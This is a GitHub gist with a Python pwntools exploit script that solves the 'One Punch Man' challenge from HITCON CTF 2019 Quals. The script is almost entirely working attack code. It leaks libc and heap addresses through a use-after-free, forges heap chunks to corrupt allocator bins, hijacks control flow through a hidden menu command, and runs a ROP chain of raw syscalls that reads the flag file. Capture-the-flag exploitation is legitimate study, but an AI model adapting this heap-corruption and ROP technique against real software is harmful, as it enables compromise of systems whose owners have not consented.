Created
October 19, 2019 06:56
-
-
Save hama7230/2caf2af6c64ab6f70e3fca2d2f0c0ac9 to your computer and use it in GitHub Desktop.
HITCON CTF 2019 Quals One Punch Man
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
from pwn import * | |
context(terminal=['tmux', 'splitw', '-h']) # horizontal split window | |
# context(terminal=['tmux', 'new-window']) # open new window | |
# libc = ELF('') | |
elf = ELF('./one_punch') | |
context(os='linux', arch=elf.arch) | |
# context(log_level='debug') # output verbose log | |
RHOST = "52.198.120.1" | |
RPORT = 48763 | |
LHOST = "127.0.0.1" | |
LPORT = 12345 | |
def section_addr(name, elf=elf): | |
return elf.get_section_by_name(name).header['sh_addr'] | |
def dbg(ss): | |
log.info("%s: 0x%x" % (ss, eval(ss))) | |
conn = None | |
opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?' # pop option | |
if opt in 'rl': | |
conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt]) | |
elif opt == 'd': | |
gdbscript = """ | |
continue | |
""".format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) | |
conn = gdb.debug(['./one_punch'], gdbscript=gdbscript) | |
else: | |
conn = process(['./one_punch']) | |
# conn = process(['./one_punch'], env={'LD_PRELOAD': ''}) | |
if opt == 'a': gdb.attach(conn) | |
def debut(idx, p): | |
conn.sendlineafter('> ', '1') | |
conn.sendlineafter('idx', str(idx)) | |
conn.sendafter('name', p) | |
def rename(idx, p): | |
conn.sendlineafter('> ', '2') | |
conn.sendlineafter('idx', str(idx)) | |
conn.sendafter('name', p) | |
def show(idx): | |
conn.sendlineafter('> ', '3') | |
conn.sendlineafter('idx', str(idx)) | |
def retire(idx): | |
conn.sendlineafter('> ', '4') | |
conn.sendlineafter('idx', str(idx)) | |
def secret(p): | |
conn.sendlineafter('> ', '50056') | |
time.sleep(0.01) | |
conn.send(p) | |
# if ( c <= 0x7F || c > 0x400 ) | |
# set 0x700 as size | |
debut(0, '_'*0xb8) | |
debut(0, '_'*0x88) | |
debut(1, '_'*0x88) | |
rename(1, 'b'*0x20 + p64(0x90) + p64(0x20) + 'b'*0x18 + p64(0x21)) | |
retire(1) | |
debut(1, 'c'*0x88) | |
for i in range(6): | |
debut(2, 'x'*0x88) | |
retire(2) | |
for i in range(7): | |
debut(2, 'y'*0x217) | |
retire(2) | |
retire(0) | |
retire(1) | |
show(0) | |
conn.recvuntil('hero name: ') | |
libc_base = u64(conn.recv(6) + '\x00'*2) - 0x1e4ca0 | |
dbg('libc_base') | |
show(1) | |
conn.recvuntil('hero name: ') | |
heap_base = u64(conn.recv(6) + '\x00'*2) - 0x310 | |
dbg('heap_base') | |
fake_chunk = p64(libc_base + 0x1e4ca0) | |
fake_chunk += p64(heap_base + 0x340) | |
fake_chunk = fake_chunk.ljust(0x28) | |
fake_chunk += p64(0x91) | |
fake_chunk += p64(heap_base + 0x310) | |
fake_chunk += p64(heap_base + 0x430) | |
rename(0, fake_chunk) | |
rename(1, p64(heap_base + 0x340) + p64(libc_base + 0x1e4ca0)) | |
debut(0, 'A'*0x88) | |
rename(0, 'A'*0x28 + p64(0x91) + p64(libc_base + 0x1e4ca0) + p64(heap_base + 0x430)) | |
debut(1, 'B'*0x88) | |
rename(0, 'A'*0x28 + p64(0x21) + '\x00'*0x10) | |
retire(1) | |
rename(0, 'A'*0x28 + p64(0x31) + '\x00'*0x10) | |
retire(1) | |
rename(0, 'A'*0x28 + p64(0x3a1) + '\x00'*0x10) | |
retire(1) | |
for i in range(3): | |
print i | |
rename(0, 'A'*0x28 + p64(0x3b1) + '\x00'*0x10) | |
retire(1) | |
rename(0, 'A'*0x20 + p64(0x300) + p64(0x13c0) + 'A'*0x10 + p64(heap_base + 0x40)*2) | |
retire(1) | |
debut(0, '\xff'*0x100+p64(libc_base + 0x1e75a8)) | |
secret(p64(libc_base + 0x0012be97)) | |
# 0x0012be97: mov rdx, qword [rdi+0x08] ; mov rax, qword [rdi] ; mov rdi, rdx ; jmp rax ; (1 found) | |
payload = p64(libc_base + 0x55e35) + p64(heap_base + 0x1500) | |
payload += 'x'*0x68 | |
payload += p64(heap_base + 0x15b0) # rdi | |
payload += p64(0) # rsi | |
payload += p64(0) # rbp | |
payload += p64(0) # rbx | |
payload += p64(0) # rdx | |
payload += 'x'*8 | |
payload += p64(0) # rcx | |
payload += p64(heap_base + 0x50) # rsp | |
payload += p64(libc_base + 0x00047cf8) # return address | |
payload += '/home/ctf/flag\x00' | |
rename(2, payload) | |
# 0x00047cf7: pop rax ; ret ; (15 found) | |
# 0x000cf6c5: syscall ; ret ; (12 found) | |
# 0x00026542: pop rdi ; ret ; (464 found) | |
# 0x0012bdc9: pop rdx ; pop rsi ; ret ; (1 found) | |
pop_rdi = libc_base + 0x00026542 | |
pop_rdx_rsi = libc_base + 0x0012bdc9 | |
pop_rax = libc_base + 0x00047cf7 | |
syscall = libc_base + 0x000cf6c5 | |
rop = 'x'*0x8 + flat(pop_rax, 2, syscall) | |
rop += flat(pop_rdi, 3, pop_rdx_rsi, 0x100, heap_base + 0x10000, pop_rax, 0, syscall) | |
rop += flat(pop_rdi, 1, pop_rdx_rsi, 0x100, heap_base + 0x10000, pop_rax, 1, syscall) | |
rop += 'a'*8 | |
print hex(len(rop)) | |
rename(0, rop) | |
retire(2) | |
conn.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment